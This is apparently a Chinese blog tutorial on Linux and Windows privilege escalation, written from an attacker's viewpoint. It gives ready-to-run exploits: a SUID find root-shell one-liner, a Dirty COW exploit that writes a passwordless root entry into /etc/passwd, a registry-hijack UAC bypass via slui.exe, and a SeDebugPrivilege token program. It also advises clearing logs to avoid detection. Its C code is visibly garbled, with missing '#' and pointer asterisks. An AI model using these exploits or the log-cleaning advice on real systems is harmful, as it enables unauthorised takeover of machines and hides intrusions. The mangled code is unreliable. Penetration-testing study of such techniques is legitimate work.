一、权限提升的「意外之喜」

有一次,我看到了一条新闻:某公司因为服务器配置错误,导致黑客通过简单的权限提升操作拿下了整个内网的控制权。这让我想起了自己在一次渗透测试中遭遇的类似场景。当时目标服务器看起来非常坚固,Web应用也做了不少加固。可当我找到一个可控的低权限用户账户后,仅用了几分钟就直接提权拿到 SYSTEM 权限。说到底,权限提升永远是攻防对抗中不可忽视的一环。

本文将从攻击者的视角出发,全面拆解各种权限提升技术,涵盖 Linux 和 Windows 平台。每种方法都会结合实战案例进行说明,并附上可用的 POC 代码,方便大家在授权场景下进行学习与复现。

---

二、Linux 提权的「暗门」操作

1. SUID 权限的魔法钥匙

在 Linux 系统中,SUID 标志允许普通用户以文件所有者的身份运行程序。看似是个便利功能,但一旦配置不当,就可能成为攻击者绕过权限限制的「捷径」。实战中,寻找 SUID 文件是提权的一步关键操作。

实战案例:利用 SUID 的 find 提权

有一次,我在目标机器上发现了一个 find 命令带有 SUID 权限:

<pre><code class="language-bash">$ find / -perm -u=s -type f 2&gt;/dev/null /usr/bin/find</code></pre>

这意味着任何用户都可以以 root 权限运行 find 程序。利用 find-exec 参数,我们可以执行任意命令。提权代码如下:

黑客示意图

<pre><code class="language-bash">$ /usr/bin/find . -exec /bin/sh -p \; -quit

whoami

root</code></pre>

原理解析-exec 参数允许 find 调用其他命令,而 -p 选项让 /bin/sh 以增强权限的方式运行。由于 find 带有 SUID 位,/bin/sh 将获得 root 权限。

POC 脚本:自动化 SUID 提权扫描

为了快速发现系统中的潜在提权点,可以利用以下 Python 脚本:

<pre><code class="language-python">import os

def find_suid_bins(): suid_bins = [] for root, dirs, files in os.walk(&quot;/&quot;): for file in files: filepath = os.path.join(root, file) try: if os.stat(filepath).st_mode &amp; 0o4000: suid_bins.append(filepath) except: pass return suid_bins

if __name__ == &quot;__main__&quot;: suid_files = find_suid_bins() print(&quot;[*] SUID Binaries Found:&quot;) for suid in suid_files: print(f&quot; - {suid}&quot;)</code></pre>

运行这个脚本后,会输出所有带有 SUID 权限的二进制文件,你只需要检查它们是否可被利用即可。

---

2. 内核漏洞:万能的提权捷径

Linux 内核漏洞一直是权限提升的「黄金通道」。例如,极为著名的 Dirty COW(CVE-2016-5195)就是一个利用内核写入权限来实现提权的经典案例。

实战案例:Dirty COW 提权

在某次运维误操作中,一台目标机器的内核版本未及时更新,恰好受 Dirty COW 漏洞影响。通过以下 EXP,我轻松拿到了 root 权限:

<pre><code class="language-c">#include &lt;stdio.h&gt;

include &lt;stdlib.h&gt;

include &lt;fcntl.h&gt;

include &lt;pthread.h&gt;

include &lt;string.h&gt;

include &lt;unistd.h&gt;

include &lt;sys/mman.h&gt;

include &lt;sys/stat.h&gt;

void map; int f; struct stat st; char name;

void madviseThread(void arg) { for (int i = 0; i &lt; 1000000; i++) { madvise(map, 100, MADV_DONTNEED); } return NULL; }

void writeThread(void arg) { char str = (char )arg; for (int i = 0; i &lt; 1000000; i++) { memcpy(map, str, strlen(str)); } return NULL; }

int main(int argc, char *argv[]) { if (argc &lt; 2) { printf(&quot;Usage: %s &lt;file&gt;\n&quot;, argv[0]); return EXIT_FAILURE; }

name = argv[1]; f = open(name, O_RDONLY); fstat(f, &amp;st);

黑客示意图

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); pthread_t pth1, pth2;

char *str = &quot;root::0:0:root:/root:/bin/bash\n&quot;; pthread_create(&amp;pth1, NULL, madviseThread, NULL); pthread_create(&amp;pth2, NULL, writeThread, str);

pthread_join(pth1, NULL); pthread_join(pth2, NULL);

printf(&quot;Exploit complete. Check /etc/passwd.\n&quot;); return EXIT_SUCCESS; }</code></pre>

利用步骤

  1. 将以上代码保存为 dirty_cow.c
  2. 编译并运行:gcc dirty_cow.c -o dirty_cow -lpthread
  3. 执行后,/etc/passwd 文件被覆盖,新的 root 用户被写入。

---

三、Windows 提权的「奇技淫巧」

Windows 系统由于复杂的权限机制和大量遗留组件,同样有许多提权方式可供探索。

1. UAC 绕过

用户账户控制(UAC)虽然能阻止部分未经授权的操作,但并不完美。一些低权限程序通过特定调用,可以直接绕过 UAC 限制。

实战案例:利用 Slui 触发提权

在 Windows 系统中,slui.exe 是一个用于激活 Windows 的合法程序。借助它的 COM 注册机制,可以实现权限提升。

攻击代码如下:

<pre><code class="language-powershell">$Path = &quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&quot; New-Item -Path $Path -Force Set-ItemProperty -Path $Path -Name &quot;DelegateExecute&quot; -Value &quot;&quot; Set-ItemProperty -Path $Path -Name &quot;(default)&quot; -Value &quot;cmd.exe&quot; Start-Process slui.exe</code></pre>

原理解析

  1. 修改注册表键 ms-settings,创建一个新的 COM 对象。
  2. 将其指向 cmd.exe
  3. 启动 slui.exe 时,系统以管理员权限执行注册表中配置的命令。

运行上述脚本后,系统会弹出一个以管理员权限运行的 cmd 窗口。

---

2. 内核提权:Token 操作

Windows 内核的 Token 操作是提权的关键。例如,通过滥用 SeDebugPrivilege,可以模拟 SYSTEM 用户。

实战案例:Token 提权

以下是一个使用 C 语言进行内核提权的示例代码:

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

void EnableDebugPrivilege() { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp;

黑客示意图

OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;luid);

tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(tp), NULL, NULL);

CloseHandle(hToken); }

int main() { EnableDebugPrivilege(); printf(&quot;[+] Debug privileges enabled. Ready to elevate.\n&quot;); return 0; }</code></pre>

利用步骤

  1. 保存代码为 debug_priv.c
  2. 编译运行:cl debug_priv.c /link advapi32.lib
  3. 程序执行后,你可以直接附加到任何进程并模拟 SYSTEM。

---

四、经验分享:提权的「细节」成就完美攻击

  1. 信息收集是关键:提权的前提是对目标系统有足够了解。检查用户组、进程权限、内核版本等。
  2. 利用自动化工具:工具如 LinPEASWinPEAS 可以快速发现提权点。
  3. 实验环境搭建:建议搭建一个专用的提权靶场(如 VulnHub 和 HackTheBox 提供的镜像)。
  4. 小心痕迹清理:提权操作通常会留下日志,需要及时清理避免被发现。

---

权限提升是渗透攻击中不可或缺的一部分,尤其是当你需要将低权限访问升级为全局控制时,希望这篇文章能为你的「授权测试」提供一些灵感。最后提醒一句:所有操作仅限合法授权的范围内进行!